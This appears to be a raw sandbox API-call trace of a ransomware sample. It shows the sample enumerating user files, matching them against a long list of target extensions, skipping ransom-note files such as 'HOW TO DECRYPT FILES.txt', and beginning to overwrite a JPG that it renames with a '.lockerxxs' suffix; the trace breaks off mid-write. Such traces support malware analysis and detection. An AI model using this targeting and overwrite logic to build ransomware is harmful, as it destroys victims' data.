[0087.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.pdf") returned 0 [0087.443] lstrlenA (lpString="*.pdf") returned 5 [0087.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.cert") returned 0 [0087.443] lstrlenA (lpString="*.cert") returned 6 [0087.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.docm") returned 0 [0087.443] lstrlenA (lpString="*.docm") returned 6 [0087.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.xlsm") returned 0 [0087.443] lstrlenA (lpString="*.xlsm") returned 6 [0087.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.dwg") returned 0 [0087.443] lstrlenA (lpString="*.dwg") returned 5 [0087.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.nd") returned 0 [0087.443] lstrlenA (lpString="*.nd") returned 4 [0087.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.tlg") returned 0 [0087.444] lstrlenA (lpString="*.tlg") returned 5 [0087.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.lgb") returned 0 [0087.444] lstrlenA (lpString="*.lgb") returned 5 [0087.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.mov") returned 0 [0087.444] lstrlenA (lpString="*.mov") returned 5 [0087.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.xdw") returned 0 [0087.444] lstrlenA (lpString="*.xdw") returned 5 [0087.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.ods") returned 0 [0087.444] lstrlenA (lpString="*.ods") returned 5 [0087.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.wav") returned 0 [0087.444] lstrlenA (lpString="*.wav") returned 5 [0087.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.mp3") returned 0 [0087.444] lstrlenA (lpString="*.mp3") returned 5 [0087.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.aiff") returned 0 [0087.444] lstrlenA (lpString="*.aiff") returned 6 [0087.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.flac") returned 0 [0087.444] lstrlenA (lpString="*.flac") returned 6 [0087.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.m4a") returned 0 [0087.444] lstrlenA (lpString="*.m4a") returned 5 [0087.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp", pszSpec="*.csv") returned 0 [0087.445] lstrlenA (lpString="*.csv") returned 5 [0087.445] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd94fb580, ftCreationTime.dwHighDateTime=0x1d5de4f, ftLastAccessTime.dwLowDateTime=0x39e667c0, ftLastAccessTime.dwHighDateTime=0x1d5e5ff, ftLastWriteTime.dwLowDateTime=0x39e667c0, ftLastWriteTime.dwHighDateTime=0x1d5e5ff, nFileSizeHigh=0x0, nFileSizeLow=0x9db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlO7KwnRBCgMTTPQ.gif", cAlternateFileName="GLO7KW~1.GIF")) returned 1 [0087.445] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.445] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GlO7KwnRBCgMTTPQ.gif") returned -1 [0087.445] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GlO7KwnRBCgMTTPQ.gif") returned 1 [0087.445] lstrcmpiA (lpString1="", lpString2="GlO7KwnRBCgMTTPQ.gif") returned -1 [0087.445] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FKutm4WJF.bmp") returned="FKutm4WJF.bmp" [0087.445] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.445] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.445] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.445] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.445] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="GlO7KwnRBCgMTTPQ.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif" [0087.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.ems") returned 0 [0087.445] lstrlenA (lpString="*.ems") returned 5 [0087.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.db") returned 0 [0087.446] lstrlenA (lpString="*.db") returned 4 [0087.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.dbf") returned 0 [0087.446] lstrlenA (lpString="*.dbf") returned 5 [0087.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.myox") returned 0 [0087.446] lstrlenA (lpString="*.myox") returned 6 [0087.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.myo") returned 0 [0087.446] lstrlenA (lpString="*.myo") returned 5 [0087.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.qbw") returned 0 [0087.446] lstrlenA (lpString="*.qbw") returned 5 [0087.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.qbb") returned 0 [0087.446] lstrlenA (lpString="*.qbb") returned 5 [0087.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.qbm") returned 0 [0087.446] lstrlenA (lpString="*.qbm") returned 5 [0087.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.qbo") returned 0 [0087.446] lstrlenA (lpString="*.qbo") returned 5 [0087.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.qbx") returned 0 [0087.447] lstrlenA (lpString="*.qbx") returned 5 [0087.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.qba") returned 0 [0087.447] lstrlenA (lpString="*.qba") returned 5 [0087.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.qby") returned 0 [0087.447] lstrlenA (lpString="*.qby") returned 5 [0087.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.qbj") returned 0 [0087.447] lstrlenA (lpString="*.qbj") returned 5 [0087.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.ofx") returned 0 [0087.447] lstrlenA (lpString="*.ofx") returned 5 [0087.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.qif") returned 0 [0087.447] lstrlenA (lpString="*.qif") returned 5 [0087.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.mye") returned 0 [0087.447] lstrlenA (lpString="*.mye") returned 5 [0087.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.mbox") returned 0 [0087.447] lstrlenA (lpString="*.mbox") returned 6 [0087.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.eml") returned 0 [0087.447] lstrlenA (lpString="*.eml") returned 5 [0087.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.pst") returned 0 [0087.448] lstrlenA (lpString="*.pst") returned 5 [0087.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.ost") returned 0 [0087.448] lstrlenA (lpString="*.ost") returned 5 [0087.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.idx") returned 0 [0087.448] lstrlenA (lpString="*.idx") returned 5 [0087.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.dbx") returned 0 [0087.448] lstrlenA (lpString="*.dbx") returned 5 [0087.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.sql") returned 0 [0087.448] lstrlenA (lpString="*.sql") returned 5 [0087.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.mdb") returned 0 [0087.448] lstrlenA (lpString="*.mdb") returned 5 [0087.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.fdb") returned 0 [0087.448] lstrlenA (lpString="*.fdb") returned 5 [0087.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.wab") returned 0 [0087.448] lstrlenA (lpString="*.wab") returned 5 [0087.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.dat") returned 0 [0087.448] lstrlenA (lpString="*.dat") returned 5 [0087.448] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.txt") returned 0 [0087.448] lstrlenA (lpString="*.txt") returned 5 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.jpeg") returned 0 [0087.449] lstrlenA (lpString="*.jpeg") returned 6 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.jpg") returned 0 [0087.449] lstrlenA (lpString="*.jpg") returned 5 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.png") returned 0 [0087.449] lstrlenA (lpString="*.png") returned 5 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.php") returned 0 [0087.449] lstrlenA (lpString="*.php") returned 5 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.cs") returned 0 [0087.449] lstrlenA (lpString="*.cs") returned 4 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.cpp") returned 0 [0087.449] lstrlenA (lpString="*.cpp") returned 5 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.rar") returned 0 [0087.449] lstrlenA (lpString="*.rar") returned 5 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.zip") returned 0 [0087.449] lstrlenA (lpString="*.zip") returned 5 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.html") returned 0 [0087.449] lstrlenA (lpString="*.html") returned 6 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.htm") returned 0 [0087.449] lstrlenA (lpString="*.htm") returned 5 [0087.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.xlsx") returned 0 [0087.450] lstrlenA (lpString="*.xlsx") returned 6 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.xls") returned 0 [0087.450] lstrlenA (lpString="*.xls") returned 5 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.mp4") returned 0 [0087.450] lstrlenA (lpString="*.mp4") returned 5 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.ppt") returned 0 [0087.450] lstrlenA (lpString="*.ppt") returned 5 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.pptx") returned 0 [0087.450] lstrlenA (lpString="*.pptx") returned 6 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.doc") returned 0 [0087.450] lstrlenA (lpString="*.doc") returned 5 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.dot") returned 0 [0087.450] lstrlenA (lpString="*.dot") returned 5 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.docx") returned 0 [0087.450] lstrlenA (lpString="*.docx") returned 6 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.7z") returned 0 [0087.450] lstrlenA (lpString="*.7z") returned 4 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.tar") returned 0 [0087.450] lstrlenA (lpString="*.tar") returned 5 [0087.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.bz2") returned 0 [0087.452] lstrlenA (lpString="*.bz2") returned 5 [0087.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.gz") returned 0 [0087.452] lstrlenA (lpString="*.gz") returned 4 [0087.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.mkv") returned 0 [0087.452] lstrlenA (lpString="*.mkv") returned 5 [0087.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.eml") returned 0 [0087.452] lstrlenA (lpString="*.eml") returned 5 [0087.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.msg") returned 0 [0087.453] lstrlenA (lpString="*.msg") returned 5 [0087.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.edb") returned 0 [0087.453] lstrlenA (lpString="*.edb") returned 5 [0087.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.accdb") returned 0 [0087.453] lstrlenA (lpString="*.accdb") returned 7 [0087.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.odb") returned 0 [0087.453] lstrlenA (lpString="*.odb") returned 5 [0087.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.java") returned 0 [0087.453] lstrlenA (lpString="*.java") returned 6 [0087.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.asm") returned 0 [0087.453] lstrlenA (lpString="*.asm") returned 5 [0087.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.pfx") returned 0 [0087.454] lstrlenA (lpString="*.pfx") returned 5 [0087.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.pem") returned 0 [0087.454] lstrlenA (lpString="*.pem") returned 5 [0087.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.p12") returned 0 [0087.454] lstrlenA (lpString="*.p12") returned 5 [0087.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.gpg") returned 0 [0087.454] lstrlenA (lpString="*.gpg") returned 5 [0087.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif", pszSpec="*.vsd") returned 0 [0087.454] lstrlenA (lpString="*.vsd") returned 5 [0087.454] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6f845880, ftCreationTime.dwHighDateTime=0x1d5d8f1, ftLastAccessTime.dwLowDateTime=0x1b858490, ftLastAccessTime.dwHighDateTime=0x1d5daf7, ftLastWriteTime.dwLowDateTime=0x1b858490, ftLastWriteTime.dwHighDateTime=0x1d5daf7, nFileSizeHigh=0x0, nFileSizeLow=0x1344c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GuMacjl 4BwmHOIM.jpg", cAlternateFileName="GUMACJ~1.JPG")) returned 1 [0087.454] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.455] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GuMacjl 4BwmHOIM.jpg") returned -1 [0087.455] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GuMacjl 4BwmHOIM.jpg") returned 1 [0087.455] lstrcmpiA (lpString1="", lpString2="GuMacjl 4BwmHOIM.jpg") returned -1 [0087.455] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GlO7KwnRBCgMTTPQ.gif") returned="GlO7KwnRBCgMTTPQ.gif" [0087.455] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.455] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.455] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.455] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.455] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="GuMacjl 4BwmHOIM.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg" [0087.455] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg" [0087.455] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg" [0087.455] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg." [0087.455] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg.lockerxxs" [0087.455] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gumacjl 4bwmhoim.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.456] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1344c [0087.456] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x6f845880, dwHighDateTime=0x1d5d8f1), lpLastAccessTime=0x407536*(dwLowDateTime=0x1b858490, dwHighDateTime=0x1d5daf7), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1b858490, dwHighDateTime=0x1d5daf7)) returned 1 [0087.456] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.457] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x13426, lpOverlapped=0x0) returned 1 [0087.459] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg") returned="GuMacjl 4BwmHOIM.jpg" [0087.460] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.460] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x13426, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: 